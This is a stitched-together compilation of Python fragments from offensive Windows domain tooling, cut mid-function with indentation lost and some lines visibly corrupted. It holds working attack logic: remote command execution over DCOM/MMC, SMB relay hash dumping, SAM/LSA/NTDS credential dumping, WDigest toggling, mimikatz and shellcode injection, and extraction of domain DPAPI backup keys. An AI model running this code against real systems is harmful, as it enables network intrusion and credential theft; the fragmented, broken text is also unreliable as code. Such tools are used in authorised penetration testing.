local_sid = group.Properties['groupName']
memberof.append(local_sid)
for member in group.Properties.find_all('Member'):
if not member['action'].lower() == 'add':
continue
if member['sid']:
members.append(member['sid'])
else:
members.append(member['name'])
if members or memberof:
# TODO: implement filter support (seems like a pain in the ass,
# I'll do it if the feature is asked). PowerView also seems to
# have the barest support for filters, so ¯\_(ツ)_/¯
gpo_group = GPOGroup(list())
setattr(gpo_group, 'gpodisplayname', gpo_display_name)
setattr(gpo_group, 'gponame', gpo_name)
setattr(gpo_group, 'gpopath', groupsxml_path)
setattr(gpo_group, 'members', members)
setattr(gpo_group, 'memberof', memberof)
gpo_groups.append(gpo_group)
return gpo_groups
def run(self, addr):
if self.__noOutput is False:
smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
smbConnection.login(self.__username, self.__password,
self.__domain, self.__lmhash,
self.__nthash)
else:
smbConnection.kerberosLogin(self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
kdcHost=self.__kdcHost)
dialect = smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
else:
smbConnection = None
dcom = DCOMConnection(addr,
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
oxidResolver=True,
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost)
try:
iInterface = dcom.CoCreateInstanceEx(
string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'),
IID_IDispatch)
iMMC = IDispatch(iInterface)
resp = iMMC.GetIDsOfNames(('Document', ))
dispParams = DISPPARAMS(None, False)
dispParams['rgvarg'] = NULL
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 0
dispParams['cNamedArgs'] = 0
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
dispParams, 0, [], [])
iDocument = IDispatch(
self.getInterface(
iMMC,
resp['pVarResult']['_varUnion']['pdispVal']['abData']))
resp = iDocument.GetIDsOfNames(('ActiveView', ))
resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
dispParams, 0, [], [])
iActiveView = IDispatch(
self.getInterface(
iMMC,
resp['pVarResult']['_varUnion']['pdispVal']['abData']))
pExecuteShellCommand = iActiveView.GetIDsOfNames(
('ExecuteShellCommand', ))[0]
pQuit = iMMC.GetIDsOfNames(('Quit', ))[0]
self.shell = RemoteShell(self.__share, (iMMC, pQuit),
(iActiveView, pExecuteShellCommand),
smbConnection)
if self.__command != ' ':
self.shell.onecmd(self.__command)
if self.shell is not None:
self.shell.do_exit('')
else:
self.shell.cmdloop()
except (Exception, KeyboardInterrupt), e:
#import traceback
#traceback.print_exc()
if self.shell is not None:
self.shell.do_exit('')
logging.error(str(e))
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
sys.stdout.flush()
sys.exit(1)
class Pipes(Thread):
def __init__(self, transport, pipe, permissions, share=None):
Thread.__init__(self)
self.server = 0
self.transport = transport
self.credentials = transport.get_credentials()
self.tid = 0
self.fid = 0
self.share = share
self.port = transport.get_dport()
self.pipe = pipe
self.permissions = permissions
self.daemon = True
def connectPipe(self):
try:
lock.acquire()
global dialect
# self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
self.server = SMBConnection(
self.transport.get_smb_connection().getRemoteName(),
self.transport.get_smb_connection().getRemoteHost(),
sess_port=self.port,
preferredDialect=dialect,
)
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
if self.transport.get_kerberos() is True:
self.server.kerberosLogin(
user,
passwd,
domain,
lm,
nt,
aesKey,
kdcHost=self.transport.get_kdcHost(),
TGT=TGT,
TGS=TGS,
)
else:
self.server.login(user, passwd, domain, lm, nt)
lock.release()
self.tid = self.server.connectTree("IPC$")
self.server.waitNamedPipe(self.tid, self.pipe)
self.fid = self.server.openFile(
self.tid,
self.pipe,
self.permissions,
creationOption=0x40,
fileAttributes=0x80,
)
self.server.setTimeout(1000000)
except:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(
"Something wen't wrong connecting the pipes(%s), try again"
% self.__class__
)
def check(self, remote_names):
# Validate credentials first
if not self.creds_validated:
self.validate_creds(remote_names[0])
self.creds_validated = True
# CVE-2020-1472 scan is continuous
if self.__vuln == "CVE-2020-1472":
while True:
for remote_host in remote_names:
if verify_kerberos_password(
remote_host.split(".")[0] + "$", "",
".".join(remote_host.split(".")[1:]), remote_host):
logging.info(
'Target %s was exploited for CVE-2020-1472!',
remote_host)
else:
logging.info('Target %s was not exploited',
remote_host)
time.sleep(1)
# Now start scanner
for remote_host in remote_names:
try:
smbClient = SMBConnection(
remote_host, remote_host, sess_port=int(
self.__port)) #, preferredDialect=SMB2_DIALECT_21
except:
return
try:
# Both cve-2019-1019 and cve-2019-1040 were part of the same KB and can be checked
# by using cve-2019-1040 can logic
if self.__vuln in ["CVE-2019-1019", "CVE-2019-1040"]:
ntlm.computeResponseNTLMv2 = mod_cve20191040_computeResponseNTLMv2
if self.__vuln == "CVE-2019-1166":
ntlm.computeResponseNTLMv2 = mod_cve20191166_computeResponseNTLMv2
if self.__vuln == "CVE-2019-1338":
ntlm.computeResponseNTLMv2 = mod_cve20191338_computeResponseNTLMv2
smbClient.login(self.__username, self.__password,
self.__domain, self.__lmhash, self.__nthash)
logging.info(
'Target %s is VULNERABLE to %s (authentication was accepted)',
remote_host, self.__vuln)
except SessionError as exc:
if 'STATUS_INVALID_PARAMETER' in str(exc) and self.__vuln in [
"CVE-2019-1019", "CVE-2019-1040", "CVE-2019-1166"
]:
logging.info(
'Target %s is not vulnerable to %s (authentication was rejected)',
remote_host, self.__vuln)
elif 'STATUS_LOGON_FAILURE' in str(
exc) and self.__vuln == "CVE-2019-1338":
logging.info(
'Target %s is not vulnerable to %s (authentication was rejected)',
remote_host, self.__vuln)
else:
logging.warning(
'Unexpected Exception while authenticating to %s: %s',
remote_host, exc)
smbClient.close()
def connect(host):
'''
My imagination flowed free when coming up with this name
This is where all the magic happens
'''
try:
smb = SMBConnection(host, host, None, settings.args.port)
try:
smb.login('' , '')
except SessionError as e:
if "STATUS_ACCESS_DENIED" in e.message:
pass
domain = settings.args.domain
s_name = smb.getServerName()
if not domain:
domain = smb.getServerDomain()
if not domain:
domain = s_name
print_status(u"{}:{} is running {} (name:{}) (domain:{})".format(host, settings.args.port, smb.getServerOS(), s_name, domain))
try:
'''
DC's seem to want us to logoff first
Windows workstations sometimes reset the connection, so we handle both cases here
(go home Windows, you're drunk)
'''
smb.logoff()
except NetBIOSError:
pass
except socket.error:
smb = SMBConnection(host, host, None, settings.args.port)
if (settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)) or settings.args.combo_file:
smb = smart_login(host, smb, domain)
#Get our IP from the socket
local_ip = smb.getSMBServer().get_socket().getsockname()[0]
if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
rfs = RemoteFileSystem(host, smb)
if settings.args.delete:
rfs.delete()
if settings.args.download:
rfs.download()
if settings.args.upload:
rfs.upload()
if settings.args.list:
rfs.list()
if settings.args.enum_shares:
shares = SHAREDUMP(smb)
shares.dump(host)
if settings.args.enum_users:
users = SAMRDump('{}/SMB'.format(settings.args.port),
settings.args.user,
settings.args.passwd,
domain,
settings.args.hash,
settings.args.aesKey,
settings.args.kerb)
users.dump(host)
if settings.args.sam or settings.args.lsa or settings.args.ntds:
dumper = DumpSecrets(host,
settings.args.port,
'logs/{}'.format(host),
smb,
settings.args.kerb)
dumper.do_remote_ops()
if settings.args.sam:
dumper.dump_SAM()
if settings.args.lsa:
dumper.dump_LSA()
if settings.args.ntds:
dumper.dump_NTDS(settings.args.ntds,
settings.args.ntds_history,
settings.args.ntds_pwdLastSet)
dumper.cleanup()
if settings.args.pass_pol:
pass_pol = PassPolDump('{}/SMB'.format(settings.args.port),
settings.args.user,
settings.args.passwd,
domain,
settings.args.hash,
settings.args.aesKey,
settings.args.kerb)
pass_pol.dump(host)
if settings.args.rid_brute:
lookup = LSALookupSid(settings.args.user,
settings.args.passwd,
domain,
'{}/SMB'.format(settings.args.port),
settings.args.hash,
settings.args.rid_brute)
lookup.dump(host)
if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers:
rpc_query = RPCQUERY(settings.args.user,
settings.args.passwd,
domain,
settings.args.hash)
if settings.args.enum_sessions:
rpc_query.enum_sessions(host)
if settings.args.enum_disks:
rpc_query.enum_disks(host)
if settings.args.enum_lusers:
rpc_query.enum_lusers(host)
if settings.args.spider:
smb_spider = SMBSPIDER(host, smb)
smb_spider.spider(settings.args.spider, settings.args.depth)
smb_spider.finish()
if settings.args.wmi_query:
wmi_query = WMIQUERY(settings.args.user,
settings.args.passwd,
domain,
settings.args.hash,
settings.args.kerb,
settings.args.aesKey)
wmi_query.run(settings.args.wmi_query, host, settings.args.namespace)
if settings.args.check_uac:
uac = UACdump(smb, settings.args.kerb)
uac.run()
if settings.args.enable_wdigest:
wdigest = WdisgestEnable(smb, settings.args.kerb)
wdigest.enable()
if settings.args.disable_wdigest:
wdigest = WdisgestEnable(smb, settings.args.kerb)
wdigest.disable()
if settings.args.service:
service_control = SVCCTL(settings.args.user,
settings.args.passwd,
domain,
'{}/SMB'.format(settings.args.port),
settings.args.service,
settings.args)
service_control.run(host)
if settings.args.command:
EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb, settings.args.execm)
if settings.args.pscommand:
EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb, settings.args.execm)
if settings.args.mimikatz:
powah_command = PowerShell(settings.args.server, local_ip)
EXECUTOR(powah_command.mimikatz(), host, domain, True, smb, settings.args.execm)
if settings.args.mimikatz_cmd:
powah_command = PowerShell(settings.args.server, local_ip)
EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb, settings.args.execm)
if settings.args.powerview:
#For some reason powerview functions only seem to work when using smbexec...
#I think we might have a mistery on our hands boys and girls!
powah_command = PowerShell(settings.args.server, local_ip)
EXECUTOR(powah_command.powerview(settings.args.powerview), host, domain, True, smb, 'smbexec')
if settings.args.inject:
powah_command = PowerShell(settings.args.server, local_ip)
if settings.args.inject.startswith('met_'):
EXECUTOR(powah_command.inject_meterpreter(), host, domain, True, smb, settings.args.execm)
if settings.args.inject == 'shellcode':
EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb, settings.args.execm)
if settings.args.inject == 'dll' or settings.args.inject == 'exe':
EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb, settings.args.execm)
try:
smb.logoff()
except:
pass
except SessionError as e:
print_error("{}:{} {}".format(host, settings.args.port, e))
if settings.args.verbose: traceback.print_exc()
except NetBIOSError as e:
print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e))
if settings.args.verbose: traceback.print_exc()
except DCERPCException as e:
print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e))
if settings.args.verbose: traceback.print_exc()
except socket.error as e:
if settings.args.verbose: print_error(str(e))
return
def _get_groupsxml(self, groupsxml_path, gpo_display_name):
gpo_groups = list()
content_io = BytesIO()
groupsxml_path_split = groupsxml_path.split('\\')
gpo_name = groupsxml_path_split[6]
target = self._domain_controller
share = groupsxml_path_split[3]
file_name = '\\'.join(groupsxml_path_split[4:])
smb_connection = SMBConnection(remoteName=target, remoteHost=target)
if self._do_kerberos:
smb_connection.kerberosLogin(self._user, self._password,
self._domain, self._lmhash,
self._nthash)
else:
smb_connection.login(self._user, self._password, self._domain,
self._lmhash, self._nthash)
self._logger.debug('Get File: Share = {0}, file_name ={1}'.format(
share, file_name))
smb_connection.connectTree(share)
try:
smb_connection.getFile(share, file_name, content_io.write)
except SessionError:
self._logger.warning(
'Error while getting the file {}, skipping...'.format(
file_name))
return list()
content = content_io.getvalue().replace(b'\r', b'')
groupsxml_soup = BeautifulSoup(content.decode('utf-8'), 'xml')
for group in groupsxml_soup.find_all('Group'):
members = list()
memberof = list()
raw_xml_member = group.Properties.find_all('Member')
if not raw_xml_member:
continue
local_sid = group.Properties.get('groupSid', str())
if not local_sid:
if 'administrators' in group.Properties['groupName'].lower():
local_sid = 'S-1-5-32-544'
elif 'remote desktop' in group.Properties['groupName'].lower():
local_sid = 'S-1-5-32-555'
else:
local_sid = group.Properties['groupName']
memberof.append(local_sid)
for member in raw_xml_member:
if not member['action'].lower() == 'add':
continue
if member['sid']:
members.append(member['sid'])
else:
members.append(member['name'])
if members or memberof:
# TODO: implement filter support (seems like a pain in the ass,
# I'll do it if the feature is asked). PowerView also seems to
# have the barest support for filters, so ¯\_(ツ)_/¯
gpo_group = GPOGroup(list())
gpo_group._attributes_dict['gpodisplayname'] = gpo_display_name
gpo_group._attributes_dict['gponame'] = gpo_name
gpo_group._attributes_dict['gpopath'] = groupsxml_path
gpo_group._attributes_dict['members'] = members
gpo_group._attributes_dict['memberof'] = memberof
gpo_groups.append(gpo_group)
return gpo_groups
class SMBAttack(ProtocolAttack):
"""
This is the SMB default attack class.
It will either dump the hashes from the remote target, or open an interactive
shell if the -i option is specified.
"""
PLUGIN_NAMES = ["SMB"]
def __init__(self, config, SMBClient, username):
ProtocolAttack.__init__(self, config, SMBClient, username)
if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
else:
self.__SMBConnection = SMBClient
self.__answerTMP = ''
if self.config.interactive:
#Launch locally listening interactive shell
self.tcpshell = TcpShell()
else:
self.tcpshell = None
if self.config.exeFile is not None:
self.installService = serviceinstall.ServiceInstall(
SMBClient, self.config.exeFile)
def __answer(self, data):
self.__answerTMP += data
def run(self):
# Here PUT YOUR CODE!
if self.tcpshell is not None:
LOG.info(
'Started interactive SMB client shell via TCP on 127.0.0.1:%d'
% self.tcpshell.port)
#Start listening and launch interactive shell
self.tcpshell.listen()
self.shell = MiniImpacketShell(self.__SMBConnection,
self.tcpshell.socketfile)
self.shell.cmdloop()
return
if self.config.exeFile is not None:
result = self.installService.install()
if result is True:
LOG.info("Service Installed.. CONNECT!")
self.installService.uninstall()
else:
from impacket.examples.secretsdump import RemoteOperations, SAMHashes
samHashes = None
try:
# We have to add some flags just in case the original client did not
# Why? needed for avoiding INVALID_PARAMETER
if self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
flags1, flags2 = self.__SMBConnection.getSMBServer(
).get_flags()
flags2 |= smb.SMB.FLAGS2_LONG_NAMES
self.__SMBConnection.getSMBServer().set_flags(
flags2=flags2)
remoteOps = RemoteOperations(self.__SMBConnection, False)
remoteOps.enableRegistry()
except Exception, e:
# Something went wrong, most probably we don't have access as admin. aborting
LOG.error(str(e))
return
try:
if self.config.command is not None:
remoteOps._RemoteOperations__executeRemote(
self.config.command)
LOG.info("Executed specified command on host: %s",
self.__SMBConnection.getRemoteHost())
self.__answerTMP = ''
self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output',
self.__answer)
self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
print self.__answerTMP.decode(self.config.encoding,
'replace')
else:
bootKey = remoteOps.getBootKey()
remoteOps._RemoteOperations__serviceDeleted = True
samFileName = remoteOps.saveSAM()
samHashes = SAMHashes(samFileName, bootKey, isRemote=True)
samHashes.dump()
samHashes.export(self.__SMBConnection.getRemoteHost() +
'_samhashes')
LOG.info("Done dumping SAM hashes for host: %s",
self.__SMBConnection.getRemoteHost())
except Exception, e:
LOG.error(str(e))
finally:
def run(self):
if self.options.action.upper() == 'MASTERKEY':
fp = open(options.file, 'rb')
data = fp.read()
mkf = MasterKeyFile(data)
mkf.dump()
data = data[len(mkf):]
if mkf['MasterKeyLen'] > 0:
mk = MasterKey(data[:mkf['MasterKeyLen']])
data = data[len(mk):]
if mkf['BackupKeyLen'] > 0:
bkmk = MasterKey(data[:mkf['BackupKeyLen']])
data = data[len(bkmk):]
if mkf['CredHistLen'] > 0:
ch = CredHist(data[:mkf['CredHistLen']])
data = data[len(ch):]
if mkf['DomainKeyLen'] > 0:
dk = DomainKey(data[:mkf['DomainKeyLen']])
data = data[len(dk):]
if self.options.system and self.options.security:
# We have hives, let's try to decrypt with them
self.getLSA()
decryptedKey = mk.decrypt(self.dpapiSystem['UserKey'])
if decryptedKey:
print('Decrypted key with UserKey')
print('Decrypted key: 0x%s' %
hexlify(decryptedKey).decode('latin-1'))
return
decryptedKey = mk.decrypt(self.dpapiSystem['MachineKey'])
if decryptedKey:
print('Decrypted key with MachineKey')
print('Decrypted key: 0x%s' %
hexlify(decryptedKey).decode('latin-1'))
return
decryptedKey = bkmk.decrypt(self.dpapiSystem['UserKey'])
if decryptedKey:
print('Decrypted Backup key with UserKey')
print('Decrypted key: 0x%s' %
hexlify(decryptedKey).decode('latin-1'))
return
decryptedKey = bkmk.decrypt(self.dpapiSystem['MachineKey'])
if decryptedKey:
print('Decrypted Backup key with MachineKey')
print('Decrypted key: 0x%s' %
hexlify(decryptedKey).decode('latin-1'))
return
elif self.options.key:
key = unhexlify(self.options.key[2:])
decryptedKey = mk.decrypt(key)
if decryptedKey:
print('Decrypted key with key provided')
print('Decrypted key: 0x%s' %
hexlify(decryptedKey).decode('latin-1'))
return
elif self.options.pvk and dk:
pvkfile = open(self.options.pvk, 'rb').read()
key = PRIVATE_KEY_BLOB(pvkfile[len(PVK_FILE_HDR()):])
private = privatekeyblob_to_pkcs1(key)
cipher = PKCS1_v1_5.new(private)
decryptedKey = cipher.decrypt(dk['SecretData'][::-1], None)
if decryptedKey:
domain_master_key = DPAPI_DOMAIN_RSA_MASTER_KEY(
decryptedKey)
key = domain_master_key[
'buffer'][:domain_master_key['cbMasterKey']]
print('Decrypted key with domain backup key provided')
print('Decrypted key: 0x%s' %
hexlify(key).decode('latin-1'))
return
elif self.options.sid and self.options.key is None:
# Do we have a password?
if self.options.password is None:
# Nope let's ask it
from getpass import getpass
password = getpass("Password:"******"Password:"******"G$BCKUPKEY_PREFERRED", "G$BCKUPKEY_P"):
buffer = crypto.decryptSecret(
connection.getSessionKey(),
lsad.hLsarRetrievePrivateData(dce, resp['PolicyHandle'],
keyname))
guid = bin_to_string(buffer)
name = "G$BCKUPKEY_{}".format(guid)
secret = crypto.decryptSecret(
connection.getSessionKey(),
lsad.hLsarRetrievePrivateData(dce, resp['PolicyHandle'],
name))
keyVersion = struct.unpack('<L', secret[:4])[0]
if keyVersion == 1: # legacy key
backup_key = P_BACKUP_KEY(secret)
backupkey = backup_key['Data']
if self.options.export:
logging.debug(
"Exporting key to file {}".format(name + ".key"))
open(name + ".key", 'wb').write(backupkey)
else:
print("Legacy key:")
print("0x%s" % hexlify(backupkey))
print("\n")
elif keyVersion == 2: # preferred key
backup_key = PREFERRED_BACKUP_KEY(secret)
pvk = backup_key['Data'][:backup_key['KeyLength']]
cert = backup_key['Data'][
backup_key['KeyLength']:backup_key['KeyLength'] +
backup_key['CertificateLength']]
# build pvk header (PVK_MAGIC, PVK_FILE_VERSION_0, KeySpec, PVK_NO_ENCRYPT, 0, cbPvk)
header = PVK_FILE_HDR()
header['dwMagic'] = 0xb0b5f11e
header['dwVersion'] = 0
header['dwKeySpec'] = 1
header['dwEncryptType'] = 0
header['cbEncryptData'] = 0
header['cbPvk'] = backup_key['KeyLength']
backupkey_pvk = header.getData() + pvk # pvk blob
backupkey = backupkey_pvk
if self.options.export:
logging.debug(
"Exporting certificate to file {}".format(name +
".der"))
open(name + ".der", 'wb').write(cert)
logging.debug(
"Exporting private key to file {}".format(name +
".pvk"))
open(name + ".pvk", 'wb').write(backupkey)
else:
print("Preferred key:")
header.dump()
print("PRIVATEKEYBLOB:{%s}" % (hexlify(backupkey)))
print("\n")
return
elif self.options.action.upper() == 'CREDENTIAL':
fp = open(options.file, 'rb')
data = fp.read()
cred = CredentialFile(data)
blob = DPAPI_BLOB(cred['Data'])
if self.options.key is not None:
key = unhexlify(self.options.key[2:])
decrypted = blob.decrypt(key)
if decrypted is not None:
creds = CREDENTIAL_BLOB(decrypted)
creds.dump()
return
else:
# Just print the data
blob.dump()
elif self.options.action.upper() == 'VAULT':
if options.vcrd is None and options.vpol is None:
print(
'You must specify either -vcrd or -vpol parameter. Type --help for more info'
)
return
if options.vcrd is not None:
fp = open(options.vcrd, 'rb')
data = fp.read()
blob = VAULT_VCRD(data)
if self.options.key is not None:
key = unhexlify(self.options.key[2:])
cleartext = None
for i, entry in enumerate(blob.attributesLen):
if entry > 28:
attribute = blob.attributes[i]
if 'IV' in attribute.fields and len(
attribute['IV']) == 16:
cipher = AES.new(key,
AES.MODE_CBC,
iv=attribute['IV'])
else:
cipher = AES.new(key, AES.MODE_CBC)
cleartext = cipher.decrypt(attribute['Data'])
if cleartext is not None:
# Lookup schema Friendly Name and print if we find one
if blob['FriendlyName'].decode(
'utf-16le')[:-1] in VAULT_KNOWN_SCHEMAS:
# Found one. Cast it and print
vault = VAULT_KNOWN_SCHEMAS[
blob['FriendlyName'].decode('utf-16le')[:-1]](
cleartext)
vault.dump()
else:
# otherwise
hexdump(cleartext)
return
else:
blob.dump()
elif options.vpol is not None:
fp = open(options.vpol, 'rb')
data = fp.read()
vpol = VAULT_VPOL(data)
vpol.dump()
if self.options.key is not None:
key = unhexlify(self.options.key[2:])
blob = vpol['Blob']
data = blob.decrypt(key)
if data is not None:
keys = VAULT_VPOL_KEYS(data)
keys.dump()
return
print('Cannot decrypt (specify -key or -sid whenever applicable) ')
def connector(target, args, db, module, context, cmeserver):
try:
smb = SMBConnection(target, target, None, args.smb_port)
#Get our IP from the socket
local_ip = smb.getSMBServer().get_socket().getsockname()[0]
#Get the remote ip address (in case the target is a hostname)
remote_ip = smb.getRemoteHost()
try:
smb.login('', '')
except SessionError as e:
if "STATUS_ACCESS_DENIED" in e.message:
pass
domain = smb.getServerDomain()
servername = smb.getServerName()
serveros = smb.getServerOS()
if not domain:
domain = servername
db.add_host(remote_ip, servername, domain, serveros)
logger = CMEAdapter(
getLogger('CME'), {
'host': remote_ip,
'port': args.smb_port,
'hostname': u'{}'.format(servername)
})
logger.info(u"{} (name:{}) (domain:{})".format(
serveros, servername.decode('utf-8'), domain.decode('utf-8')))
try:
'''
DC's seem to want us to logoff first
Windows workstations sometimes reset the connection, so we handle both cases here
(go home Windows, you're drunk)
'''
smb.logoff()
except NetBIOSError:
pass
except socket.error:
pass
if args.mssql:
instances = None
logger.extra['port'] = args.mssql_port
ms_sql = tds.MSSQL(target, args.mssql_port, logger)
ms_sql.connect()
instances = ms_sql.getInstances(10)
if len(instances) > 0:
logger.info("Found {} MSSQL instance(s)".format(
len(instances)))
for i, instance in enumerate(instances):
logger.highlight("Instance {}".format(i))
for key in instance.keys():
logger.highlight(key + ":" + instance[key])
try:
ms_sql.disconnect()
except:
pass
if args.username and (args.password or args.hash):
conn = None
if args.mssql and (instances is not None and len(instances) > 0):
conn = tds.MSSQL(target, args.mssql_port, logger)
conn.connect()
elif not args.mssql:
conn = SMBConnection(target, target, None, args.smb_port)
if conn is None:
return
if args.domain:
domain = args.domain
connection = Connection(args, db, target, servername, domain, conn,
logger, cmeserver)
if (connection.password is not None or connection.hash
is not None) and connection.username is not None:
if module is not None:
module_logger = CMEAdapter(
getLogger('CME'), {
'module': module.name.upper(),
'host': remote_ip,
'port': args.smb_port,
'hostname': servername
})
context = Context(db, module_logger, args)
context.localip = local_ip
if hasattr(module, 'on_request') or hasattr(
module, 'has_response'):
cmeserver.server.context.localip = local_ip
if hasattr(module, 'on_login'):
module.on_login(context, connection)
if hasattr(module,
'on_admin_login') and connection.admin_privs:
module.on_admin_login(context, connection)
else:
if connection.admin_privs and (args.pscommand
or args.command):
get_output = True if args.no_output is False else False
if args.mssql: args.exec_method = 'mssqlexec'
if args.command:
output = connection.execute(
args.command,
get_output=get_output,
method=args.exec_method)
if args.pscommand:
output = connection.execute(
create_ps_command(args.pscommand),
get_output=get_output,
method=args.exec_method)
logger.success(
'Executed command {}'.format('via {}'.format(
args.exec_method) if args.exec_method else ''))
buf = StringIO(output).readlines()
for line in buf:
logger.highlight(line.strip())
if args.mssql and args.mssql_query:
conn.sql_query(args.mssql_query)
query_output = conn.printRows()
logger.success('Executed MSSQL query')
buf = StringIO(query_output).readlines()
for line in buf:
logger.highlight(line.strip())
elif not args.mssql:
if connection.admin_privs and (args.sam or args.lsa
or args.ntds):
secrets_dump = DumpSecrets(connection, logger)
if args.sam:
secrets_dump.SAM_dump()
if args.lsa:
secrets_dump.LSA_dump()
if args.ntds:
secrets_dump.NTDS_dump(args.ntds,
args.ntds_pwdLastSet,
args.ntds_history)
if connection.admin_privs and args.wdigest:
w_digest = WDIGEST(logger, connection.conn)
if args.wdigest == 'enable':
w_digest.enable()
elif args.wdigest == 'disable':
w_digest.disable()
if connection.admin_privs and args.uac:
UAC(connection.conn, logger).enum()
if args.spider:
spider = SMBSpider(logger, connection, args)
spider.spider(args.spider, args.depth)
spider.finish()
if args.enum_shares:
ShareEnum(connection.conn, logger).enum()
if args.enum_lusers or args.enum_disks or args.enum_sessions:
rpc_connection = RPCQUERY(connection, logger)
if args.enum_lusers:
rpc_connection.enum_lusers()
if args.enum_sessions:
rpc_connection.enum_sessions()
if args.enum_disks:
rpc_connection.enum_disks()
if args.pass_pol:
PassPolDump(logger, args.smb_port,
connection).enum()
if args.enum_users:
SAMRDump(logger, args.smb_port, connection).enum()
if connection.admin_privs and args.wmi_query:
WMIQUERY(logger, connection,
args.wmi_namespace).query(args.wmi_query)
if args.rid_brute:
LSALookupSid(logger, args.smb_port, connection,
args.rid_brute).brute_force()
except socket.error:
return
def run(self):
if self.options.action.upper() == 'MASTERKEY':
fp = open(options.file, 'rb')
data = fp.read()
mkf = MasterKeyFile(data)
mkf.dump()
data = data[len(mkf):]
if mkf['MasterKeyLen'] > 0:
mk = MasterKey(data[:mkf['MasterKeyLen']])
data = data[len(mk):]
if mkf['BackupKeyLen'] > 0:
bkmk = MasterKey(data[:mkf['BackupKeyLen']])
data = data[len(bkmk):]
if mkf['CredHistLen'] > 0:
ch = CredHist(data[:mkf['CredHistLen']])
data = data[len(ch):]
if mkf['DomainKeyLen'] > 0:
dk = DomainKey(data[:mkf['DomainKeyLen']])
data = data[len(dk):]
if self.options.system and self.options.security and self.options.sid is None:
# We have hives, let's try to decrypt with them
self.getLSA()
decryptedKey = mk.decrypt(self.dpapiSystem['UserKey'])
if decryptedKey:
print('Decrypted key with UserKey')
print('Decrypted key: 0x%s' % decryptedKey.hex())
return
decryptedKey = mk.decrypt(self.dpapiSystem['MachineKey'])
if decryptedKey:
print('Decrypted key with MachineKey')
print('Decrypted key: 0x%s' % decryptedKey.hex())
return
decryptedKey = bkmk.decrypt(self.dpapiSystem['UserKey'])
if decryptedKey:
print('Decrypted Backup key with UserKey')
print('Decrypted key: 0x%s' % decryptedKey.hex())
return
decryptedKey = bkmk.decrypt(self.dpapiSystem['MachineKey'])
if decryptedKey:
print('Decrypted Backup key with MachineKey')
print('Decrypted key: 0x%s' % decryptedKey.hex())
return
elif self.options.system and self.options.security:
# Use SID + hash
# We have hives, let's try to decrypt with them
self.getLSA()
key1, key2 = self.deriveKeysFromUserkey(
self.options.sid, self.dpapiSystem['UserKey'])
decryptedKey = mk.decrypt(key1)
if decryptedKey:
print('Decrypted key with UserKey + SID')
print('Decrypted key: 0x%s' % decryptedKey.hex())
return
decryptedKey = bkmk.decrypt(key1)
if decryptedKey:
print('Decrypted Backup key with UserKey + SID')
print('Decrypted key: 0x%s' % decryptedKey.hex())
return
decryptedKey = mk.decrypt(key2)
if decryptedKey:
print('Decrypted key with UserKey + SID')
print('Decrypted key: 0x%s' % decryptedKey.hex())
return
decryptedKey = bkmk.decrypt(key2)
if decryptedKey:
print('Decrypted Backup key with UserKey + SID')
print('Decrypted key: 0x%s' % decryptedKey.hex())
return
elif self.options.key and self.options.sid:
key = bytes.fromhex(self.options.key[2:])
key1, key2 = self.deriveKeysFromUserkey(self.options.sid, key)
decryptedKey = mk.decrypt(key1)
if decryptedKey:
print('Decrypted key with key provided + SID')
print('Decrypted key: 0x%s' % decryptedKey.hex())
return
decryptedKey = mk.decrypt(key2)
if decryptedKey:
print('Decrypted key with key provided + SID')
print('Decrypted key: 0x%s' % decryptedKey.hex())
return
elif self.options.key:
key = bytes.fromhex(self.options.key[2:])
decryptedKey = mk.decrypt(key)
if decryptedKey:
print('Decrypted key with key provided')
print('Decrypted key: 0x%s' % decryptedKey.hex())
return
elif self.options.pvk and dk:
pvkfile = open(self.options.pvk, 'rb').read()
key = PRIVATE_KEY_BLOB(pvkfile[len(PVK_FILE_HDR()):])
private = privatekeyblob_to_pkcs1(key)
cipher = PKCS1_v1_5.new(private)
decryptedKey = cipher.decrypt(dk['SecretData'][::-1], None)
if decryptedKey:
domain_master_key = DPAPI_DOMAIN_RSA_MASTER_KEY(
decryptedKey)
key = domain_master_key[
'buffer'][:domain_master_key['cbMasterKey']]
print('Decrypted key with domain backup key provided')
print('Decrypted key: 0x%s' % key.hex())
return
elif self.options.sid and self.options.key is None:
# Do we have a password?
if self.options.password is None:
# Nope let's ask it
from getpass import getpass
password = getpass("Password:"******"Password:"******"Password:"******"G$BCKUPKEY_PREFERRED", "G$BCKUPKEY_P"):
buffer = crypto.decryptSecret(
connection.getSessionKey(),
lsad.hLsarRetrievePrivateData(dce, resp['PolicyHandle'],
keyname))
guid = bin_to_string(buffer)
name = "G$BCKUPKEY_{}".format(guid)
secret = crypto.decryptSecret(
connection.getSessionKey(),
